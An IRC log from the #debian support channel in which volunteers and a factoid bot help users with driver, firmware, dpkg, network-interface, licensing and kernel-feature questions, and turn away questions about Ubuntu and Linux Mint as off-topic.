16:28<dpkg>| jiltdil: Please take your Ubuntu question to #ubuntu on as they are able to help you much better with Ubuntu questions than #debian. Ubuntu can be quite different from Debian, #debian is not just a version of #ubuntu for advanced Ubuntu users.
16:28<triton>yes babilen
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16:28<themill>jiltdil: you should be using "Ubuntu servers" in xchat and that will take you to #ubuntu on
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16:29<babilen>triton: Hmm, never ever used that. I guess you have to use C:\ as IIRC windows was unable to boot from anything else. (that is knowledge acquired in the 90s though)
16:29<jhutchins_lt>themill: There's an #ubuntu on oftc, isn't there?
16:30<babilen>triton: You could also just install from a CD -- the netinstall firmware images are a good choice ; /msg dpkg firmware image ; *if* you have a working (wired) network connection during the installation
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16:31<themill>jhutchins_lt: perhaps. It had 2 people in it last time I looked.
16:31<babilen>triton: You want to install Debian don't you?
16:31<jhutchins_lt>Also has a redirect message to freenode.
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16:33<babilen>triton: (take a look at the rest too) -- Try using C:\, that might just do the trick
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16:34<babilen>triton: brb -- good luck so far!
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16:35<triton>babilen: tnaxs :)
16:35<glupek>After I updated my kernel yesterday, my computer stopped to boot. After loading all services (no errors) it showed me black screen and nothing. I was said that this was graphics card drivers problem and I have to reinstall it. So I did that. I installed new ATI drivers for Radeon HD4850 in version 11.4. I previously had 11.3. I didin't remember to uninstall old drivers first, but I didn't notice any errors. But it's still not booting with ATI
16:35<glupek> drivers installed. After loading services there is black screen and cursor. All I managed to do is press CTRL + ALT + DELETE and it outputs that the computer will terminate. After uninstallation (in recovery mode) of drivers and installing the old ones (11.3) it's still the same. The same on the old kernel!, which I have removed by now. Each time I uninstall ATI drivers (I tried to install it several times), I get something like that on the
16:35<glupek>W: Possible missing firmware /lib/firmware/rtl_nic/rtl8168d-2.fw for module r8169
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16:37<streuner>glupek: so, why didnt you have the FW installed?
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16:37<glupek>I don't know
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16:37<glupek>maybe I removed something by uninstalling drivers
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16:38<glupek>one time I did it with "=force" added (--uninstall=force)
16:38<streuner>dpkg, listkeys 8168
16:38<dpkg>Factoid search of '8168' by key (2): r8168d ;; rtl8168d.
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16:38<streuner>dpkg, rtl8168d
16:38<dpkg>[rtl8168d] The Realtek RTL8111D/RTL8168D Ethernet controller is supported by the <r8169> driver since Linux 2.6.31. Firmware patches (rtl8168d-1.fw, rtl8168d-2.fw) for use with linux-2.6 2.6.32-20 and later are packaged for Debian since firmware-nonfree 0.28, ask me about <realtek firmware>; these allow one gigabit operation with a wider variety of cables and link partners.
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16:39<diederik>glupek: I have that warning too, but all seems to work here
16:39<glupek>maybe that's not the case
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16:39<glupek>all I know I need these drivers to turn down my fan. it's so loud!
16:39<glupek>Maybe you know a way to control fan speed other than aticonfig ?
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16:51<babilen>triton: Figured it out?
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16:52<triton>I'm babilen:i think so im dling the image now. but i have no cd's how do i load it?
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16:53<babilen>triton: If you have a USB stick you can install from that
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16:53<babilen>triton: So, switching to C:\ did not work?
16:54<babilen>What happened when you did that?
16:54<triton>i cant switch to c i got win installed on a e:\ drive
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16:55<babilen>hmm, bummer -- what is on c:\ ?
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16:56<babilen>glupek: How did you install the ATI drivers?
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16:57<babilen>glupek: The firmware warning are harmless (you might still want to install the firmware-realtek firmware though)
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16:57<triton>nothing is on c:\
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16:57<babilen>triton: What nothing? Doesn't windows start counting hard drives from c:\ ?
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16:58<triton>win explorer shows its empty
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16:59<babilen>triton: And what happened when you used c:\ in the debian installer?
17:00<triton>it wont let me chose c:\
17:01<babilen>Hmm, I really have insufficient knowledge of both windows and the win32 installer. I guess you'll have to settle on installing from a CD/USB
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17:04<jose>ubuntu en español?
17:04<dpkg>Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat.
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17:04<dpkg>Ubuntu esta basado en Debian, pero no es Debian, y dificilmente tendra los estandares de Debian. Solo Debian es soportado en #debian. Por favor conectese a #ubuntu-es en Ahi recibira mas soporte.
17:05<mutante>triton: well, then choose e:\ ?
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17:05<babilen>mutante: Check the backlog, apparently it is complaining that it can't find the installer on c:\ :-/
17:05<triton>it gives me the c error . one sec im trying something
17:06<babilen>triton: Sure, take your time
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17:14<triton>aah it might work now bbl i formated my c: drive now it works
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17:15<mutante>triton: i was going to say, maybe change the drive letter from E to C in Windows?
17:15<mutante>arr, but "Changing the drive letter of the system volume or the boot volume is not a built-in feature " .. leaves an option for "not built-in feature" though..shrug
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17:17<mutante>next try would be partition magic or gparted
17:17<triton>bbl :)
17:17<mutante>good luck
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17:36<inklesspen>got a weird issue with apt-get/dpkg. a few days ago it started throwing out "dpkg: warning: parsing file '/var/lib/dpkg/status' near line 22566 package 'libpcap0': missing architecture" messages all the time, including emailing them to me because of a failure in a scheduled job (something to do with man pages, I think)
17:36<inklesspen>what can I do to solve this?
17:37<inklesspen>i don't think I have libpcap0 installed, but I used to
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17:39<themill>inklesspen: perhaps you can pastebin a slab of the status file (say line 22500 to 22700). /msg dpkg pastebin
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17:42<hnsndglsstrgll>On the debian mirror list,, what does the TS value stand for?
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17:44<inklesspen>themill: problem is around line 70ish
17:45<inklesspen>and in case it's helpful, my /etc/debian_version says wheezy/sid
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17:45<babilen>hnsndglsstrgll: Scroll down to the end of the page where you'll find the "Legend"
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17:46<themill>inklesspen: interesting -- there's no libpcap0 package in debian at all
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17:47<inklesspen>can i just edit that manually and take it out? or will that cause mysterious further breakage?
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17:48<themill>inklesspen: is this a really old box that has been progressively upgraded? (from sarge)
17:48<inklesspen>oh yeah
17:49<themill>hmm.. that shouldn't cause a problem, but maybe dpkg has become more strict about the status file again. There's been a lot of that going on lately.
17:49<themill>did you upgrade dpkg just before the warning messages started?
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17:51<inklesspen>I don't recall; I run 'apt-get update; apt-get dist-upgrade' pretty religiously
17:51<inklesspen>every couple of days
17:54<themill>inklesspen: purging the package will probably be sufficient to have dpkg forget about it. If you know you don't need around, «aptitude purge ~c»
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17:56<inklesspen>i'm sorry, what's the ~c for?
17:56<inklesspen>(i'm loathe to type something as root if I don't understand it.)
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17:57<themill>~c is a search term that matches packages that are removed but not purged.
17:57<themill>!aptitude search
17:57<dpkg>aptitude search is probably a powerful searching facility that by default only searches package names, but can be made to search priorities, installation status, dependencies etc. See /usr/share/doc/aptitude/html/en/ch02s03.html from the aptitude-doc package or or ask me about <aptitude docs>
17:58<inklesspen>ah, okay
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18:07<knoppix_>hello can i have a hand here with something
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18:08<knoppix_>I need help to get the nvidia driver up
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18:09<dpkg> . Ask me about <nouveau> (no 3D support in Debian packages), <nvidia dkms> or <nvidia m-a>. For GPUs made before 2004, see <nvidia dkms-173xx> and <nvidia dkms-96xx> for legacy drivers. See <nvidia lenny> for oldstable. Installing directly from (i.e. with <nvidia-installer>) is _not_ supported in #debian, please go to #nvidia on
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18:10<Guest3576>no one is there at that channel
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18:12<babilen>Guest3576: /msg dpkg nvidia dkms
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18:15<hnsndglsstrgll>babilen: whoops, thanks!
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18:16<babilen>hnsndglsstrgll: hei, no problem :)
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18:28<Guest3576>whay can't someone tell me what the command is for installing nvidia
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18:28<babilen>Guest3576: I did ... but *shrug*
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18:33<chavdar>hi all
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18:37<chavdar>hi all
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18:38<babilen>chavdar: You already said that .. Is there anything we can do for you or do you just want say hello to the world?
18:39<chavdar>sorry for the flood just use irc for first time and its a bit diffrent for me
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18:42<babilen>chavdar: No problem! Note that this is not a social "chat" channel, but one for technical support. You might be interested in learning more about IRC though
18:42<babilen>!tell chavdar -about irc tutorial
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18:42<babilen>chavdar: On this network there is the #moocows channel and #debian-offtopic for chat. Please don't chat in here, but you are more than welcome to ask questions if you have problems with your Debian system.
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19:07<todd_dsm>just curious, it appears that ldap-ultils are compiled against GnuTLS instead of OpenSSL. Why is this?
19:08<themill>licence incompatibilities iirc
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19:08<dondelelcaro>yerp; nothing that links against libssl can be GPLed.
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19:08<daemonkeeper>ldap-utils is probably GPL licensed which is not compatible to OpenSSL without linking exception granted by OpenSSL authors
19:09<dondelelcaro>daemonkeeper: it's more complicated than that; nothing that uses libldap can be GPLed.
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19:10<todd_dsm>crazy, even the nihilists have rules now :|
19:10<dondelelcaro>err, nothing which used libldap could be GPLed if it linked against libssl; since it uses gnutls, that's not a problem
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19:11<themill>todd_dsm: this is about copyright and contract law, not ideology.
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19:11<daemonkeeper>dondelelcaro: That's more clear now. :=)
19:11<todd_dsm>I can tell the difference, just making a point.
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19:12<todd_dsm>and to follow up, this is not likely to change any time soon/at all?
19:12<daemonkeeper>You could convince OpenSSL authors to change license?
19:12<todd_dsm>if that's what it takes, I would sure try.
19:13<todd_dsm>what is the appropriate target license?
19:13<daemonkeeper>Everything compatible with the GPL
19:13<todd_dsm>and openssl is non-gpl. got it.
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19:13<daemonkeeper>I doubt this is possible for upstream, even if they would be interested in.
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19:14<todd_dsm>why's that?
19:14<todd_dsm>I'm betting that's the primary reason for GnuTLS - the licensing piece.
19:14<daemonkeeper>They would have to get an agreement from every single author that ever commited a piece of code to OpenSSL to change license.
19:14<todd_dsm>otherwise there's no reason to break from a known standard.
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19:15<todd_dsm>I'm a little soft on the contractual ins and outs. I didn't realize that was the thing.
19:16<daemonkeeper>Now imagine the effort to change, say, the Linux kernel to GPL-3
19:16<daemonkeeper>Not that Linus would like it anyway.
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19:16<todd_dsm>roger that-
19:17<todd_dsm>after 50-gajillion commits, that might take a while.
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19:19<^MaD^>hi all
19:20<flight>hi all
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19:20<flight>hi Mad
19:20<^MaD^>debian is not up the interfaces (lo, eth0, eth1, eth2)
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19:21<babilen>^MaD^: No "auto" stanza maybe?
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19:21<^MaD^>in /etc/interfaces?
19:21<^MaD^>yesm a
19:22<^MaD^>yes, auto lo is there
19:22<^MaD^>i dont know why not is running and up minimum the loopback interface
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19:23<babilen>^MaD^: And please provide more details. When are the interfaces not coming up? What is your actual problem? Could you show us your /e/n/i in a pastebin? Do the iterfaces come up if you run "ifup -a" ? What are you trying to achieve? ... ... ...
19:23<^MaD^>sorry /etc/interfaces = i say /etc/network/interfaces
19:24<^MaD^>if i try with ifconfig eth0 up its work
19:24<^MaD^>but not work in next reboot
19:25<babilen>^MaD^: So, do you have a "auto eth0" stanza in /e/n/i ?
19:25<^MaD^>auto eth0 or lo is not working
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19:25<^MaD^>just auto lo
19:25<^MaD^>eth0 is allow-hotplug
19:25<daemonkeeper>do you have anything /besides/ "auto lo" in your e/n/i?
19:25<^MaD^>no more
19:25<daemonkeeper>I mean an actual device configuration?
19:26<babilen>^MaD^: Could you paste your /etc/network/interfaces to and read "man 5 interfaces" please?
19:26<^MaD^>my deb is stable = squeeze
19:27<^MaD^>sorry, but what's "e/n/i" ??
19:27<daemonkeeper> /etc/network/interfaces for lazy people
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19:27<^MaD^>yeah is there
19:27<^MaD^>auto lo is there
19:28<^MaD^>but not auto eth0
19:28<daemonkeeper>See babilen, please show us your file.
19:28<babilen>^MaD^: You probably want to add "auto eth0" in there. But please show us your file, tell us what you actually want to achieve and read "man 5 interfaces"
19:29<^MaD^>only allow-hotplug eth0
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19:30<^MaD^>but is not up lo
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19:30<^MaD^>loopback interface is not up
19:30<^MaD^>only if i do ifconfig lo up
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19:31<todd_dsm>ok, back to the GnuTLS problem...
19:31<babilen>^MaD^: What is your native language if I may ask? I *guess* that you want to replace "allow-hotplug eth0" with "auto eth0" but I can't be certain if you don't show us the actual configuration file and tell us what you want to achieve.
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19:32<^MaD^>spanish, sorry my english is bad no?
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19:32<babilen>No, you are just ignoring what I am saying. There is a Spanish channel (#debian-es) if you are more comfortable with that.
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19:32<todd_dsm>I have Zimbra installed with OpenLDAP using OpenSSL; I would like Linux Mint clients to auth against it for the purposes of mounting NFS shares (permissions, et al) which uses ldap-utils compiled against GnuTLS.
19:32<^MaD^>aah oki
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19:33<todd_dsm>is there documentation for a scenario like this?
19:35<todd_dsm>I understand this is sticky but any pointers would be appreciated :)
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19:51<dpkg>Linux Mint is not Debian and is not supported in #debian. Please use their forums at or join #linuxmint-help on for support. Linux Mint is variously based on <Ubuntu> with a "Linux Mint Debian Edition" (LMDE) also available, based on <testing>. See also <based on debian>, <mintppc>.
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19:52<todd_dsm>dude, this is an up-stream problem.
19:53<simonlnu>dude, we don't care
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20:05<todd_dsm>dude, this is what hold linux back from killing windows...solidarity Reg~
20:06<daemonkeeper>Can you formulate a single sentence without the word "dude" in it?
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20:07<todd_dsm>daemonkeeper: no dude - can you show a little support?
20:07<sney>enforcing official support channel rules is what's holding linux back? no, you're just whining. If you want distro-independent help, go to ##linux on freenode. If you want help with Mint, talk to their people. And finally, if you want to talk LDAP, I think they also have their own channel
20:08<todd_dsm>debian > ubuntu > LM; this starts with your distro. comon.
20:08<daemonkeeper>!based on debian
20:08<dpkg>Your distribution may be based on and have software in common with Debian, but it is not Debian. We don't know what changes were made by your distribution and it probably falls short of Debian's standards. #debian only supports Debian; you should respect our choice to volunteer here to help Debian users. Support other distributions is off-topic on #debian, even if your own distro's channel is clueless or non-existent.
20:08<ompaul>todd_dsm: you think? I think it is because someone makes demands of other people without thought for the consequences of why upstream should fix documentation problems downstream that are not required of upstream by any legal or licensing reasons. todd_dsm you could support debian by installing debian and getting with the program rather than being involved with teh shiny
20:08<sney>asking for help with non-debian stuff in #debian has very predictable results! I don't know why people keep doing it!
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20:09<todd_dsm>I donate financially, until I can donate technically - it's all I got.
20:09<todd_dsm>but that's cool, forget it.
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20:10<sney>todd_dsm: the fact of the matter, as stated by the "based on" factoid above, is that the #debian helpers DO NOT KNOW what changes and customizations have been made in the based-on-debian distros, and as a result CAN NOT provide reliable help.
20:10<todd_dsm>everyone points somewhere else; got it.
20:10<themill>todd_dsm: when it's your not-in-debian zimbra installation that's the problem, you can't even claim that this is a debian problem by some distant relation.
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20:10<ompaul>todd_dsm: as do you ;-)
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20:12<todd_dsm>it's seems simple enough; LM tells me they only reuse ubuntu's packages. Ubuntu says they only add AppArmor (and a few other things) to their distro without changing foundational elements. Debian says, sorry - can't help.
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20:13<daemonkeeper>FWIW Ubuntu introduces a lot of changes.
20:14<ompaul>todd_dsm: here is the news, if you have the cash to pay a dev to do the work fine, if you go on irc and rant to your hearts content please expect what irc can and will do about it
20:14<themill>todd_dsm: you'd better reread your original question, then, and think about what it is you're asking. #debian and the volunteers in the channel are here to help debian users. Please respect that.
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20:15<sney><todd_dsm> everyone points somewhere else <-- wait a minute. Did LM/Ubuntu support send you here?
20:15<jhutchins_lt>todd_dsm: You could always run actual debian stable. We'd be happy to help with that, because then it's a known, reproducible environment.
20:15<todd_dsm>I work on centos; the debian side is all new to me. either way, it's not too much to ask for a document. if there isn't one - say so. If there is, I just need a link.
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20:16<themill>todd_dsm: you need to ask the zimbra people for this, not us. And it would be a big assumption that anything written for debian were appropriate for whatever it is you're actually running.
20:16<sney>we don't deny help do LM and ubuntu etc users because we're all giant meanies. we do it because we have no basis to help. Maybe there is a document about using zimbra on mint! How the hell are we supposed to know?!
20:16<dpkg>Zimbra Collaboration Suite (ZCS) is a <groupware> application by Zimbra Inc. ZCS Open Source Edition is not currently packaged for Debian, see for identified packaging issues. #zimbra on
20:16<sney>it goes without saying that we're not going to google for you, so...
20:17<todd_dsm>my zimbra install is fine - they use open ssl and it's not a problem; if it were they would have to change it.
20:17<todd_dsm>jhutchins: my problem has a few different sides to it; one is the simple beauty of the GUI. This is why I chose LM. With Gnome 3 this might become a non-issue.
20:18<todd_dsm>then I could install a debian desktop for them to use.
20:18<jhutchins_lt>todd_dsm: If you chose LM, please respect our choice to support Debian in this channel.
20:18<todd_dsm>LM is simply pretty - there's little technical reasoning behind it.
20:19<jhutchins_lt>It's also not Debian.
20:19<sney>we respect your choice of what OS you want to use, but it doesn't have any impact on the rules of Debian's official support resources.
20:19<todd_dsm>that marks the end of the conversation...
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21:01<Aleric2>Ugh.. my system is unstable since the last kernel upgrade :/
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21:07<sney>Aleric: kernel upgrade? are you on testing? yeah, it's pretty bumpy
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21:13<Aleric>sney: I believe the crash is caused by using PAPI (hardware counters).
21:14<Aleric>Been using a benchmark application that uses PAPI for weeks without problems, but with the new kernel is crashes when I run the benchmark.. Someone else with a newer kernel also told me that PAPI caused him to crash.
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21:27<Guest3594>hmi all
21:27<Guest3594>hi all
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21:31<Guest3594>so whmats new
21:31<abrotman>Do you have a Debian question? This isn't a social channel
21:32<Guest3594>yes i do whmy do you smell funny
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21:33<abrotman>that was great ...
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22:00<hayleyw>is ip_conntrack_ftp.o built into the default kernel for 6.0.1? i dont see it in /lib/modules/2.6.32-5-686/kernel/net/ipv4/netfilter ?
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22:02<sney>hayleyw: check /boot/config-`uname -r`
22:03<hayleyw>sney, good thinking. says it's a module, but when i modprobe it, i dont see it in lsmod. so i was going to try to insmod it. thoughts?
22:03<sney>probably won't break anything
22:07<hayleyw>sney, i see, i needed to install libnetfilter-conntrack3. didnt realize it became it's own separate package that's needed for it to work
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23:18<el> olá boa noite, tô sofrendo aqui com o gnome art, só funciona Downlod Only mas o Install não fica acessível, sos...
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23:20<luke>Linux supports SSD TRIM from .33 onwards. Does anybody know if SSD TRIM was backported into the Squeeze .32 kernel ?
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23:21<sney>luke: I can check, do you know offhand what the kernel option was called?
23:21<el>ok tanks
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23:22<luke>I don't know, I'll have a search around...
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23:23<sney>luke: apparently you can install 2.6.38 from wheezy on a squeeze system with little to no trouble, though
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23:25<luke>Thanks Sney, I'll probably do something like that if I can't find out whether or not TRIM will work 'out of the box' for me - I am hoping to get something pretty stable though - it is for a server.
23:26<sney>system running debian stable with a newer kernel will still be a great deal more stable than a comparative release from, say, ubuntu
23:26<sney>and fully supported for free in here, of course
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23:27<luke>Yeah, I'd rather use squeeze with a newer kernel than Ubuntu
23:28<luke>Apparently if one's kernel is modern enough to support TRIM, enabling noatime is sufficient to get SSD wear levelling, (the person who posts in this list says 'I think maybe Debian backported it to .32,173539 ),173539
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23:37<Arrowmaster>"* Add libata TRIM support." in 2.6.32-12 changelog
23:38<sney>well there you go
23:38<sney>luke: ^
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23:39<Arrowmaster>yuck the kernel is kept in svn
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23:39<Arrowmaster>im not searching for the patch
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23:44<arand_>Arrowmaster: SVN, that is, whoa.. :)
23:45<mom>hmmm there is guy at my lug tonight trying to get bluetooth printing to work on his hp460 printer . . . i never use bluetooth for anything . . . any ideas?
23:45<luke>Thanks Arrowmaster and sney :)
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23:45<sney>mom: I'd worry more about the printer than the bluetooth, tbh
23:46<mom>sney: oh, well i know they arent the same thing, but he said with a ubuntu disk it was automatically detected and configured via bluetooth
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23:47<mom>mom: i advised him to try debian and he is getting a learning curve with it i guess
23:47<sney>fair enough
23:48<dpkg>Bluetooth is a wireless communications protocol (, about as secure as shouting. aptitude install bluez-utils; then run hidd --search as root. . For support of Atheros AR3001 devices, ask me about <ath3k>.
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23:48<mom>sney: yeah, i never use bluetooth for anythin
23:48<sney>seems that once the device is detected by bluez-utils, cups should be able to take over normally
23:48<sney>nor I
23:48<mom>ok :)
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23:49<mom>sney: thanks, ill give him this advice . . . i advised that it probably wasnt enabled by default because it is so insecure
23:50<sney>that is likely true
23:50<sney>some devices *may* need non-free firmware, also, and it'd probably be in the firmware-linux-nonfree package
23:50<mom>sney: does he have to add his user account to like a bluetooth user group or something too?
23:50<sney>I don't know, that wiki link above may say more
23:50<sney>it's pretty likely though
23:50<mom>ok ill share
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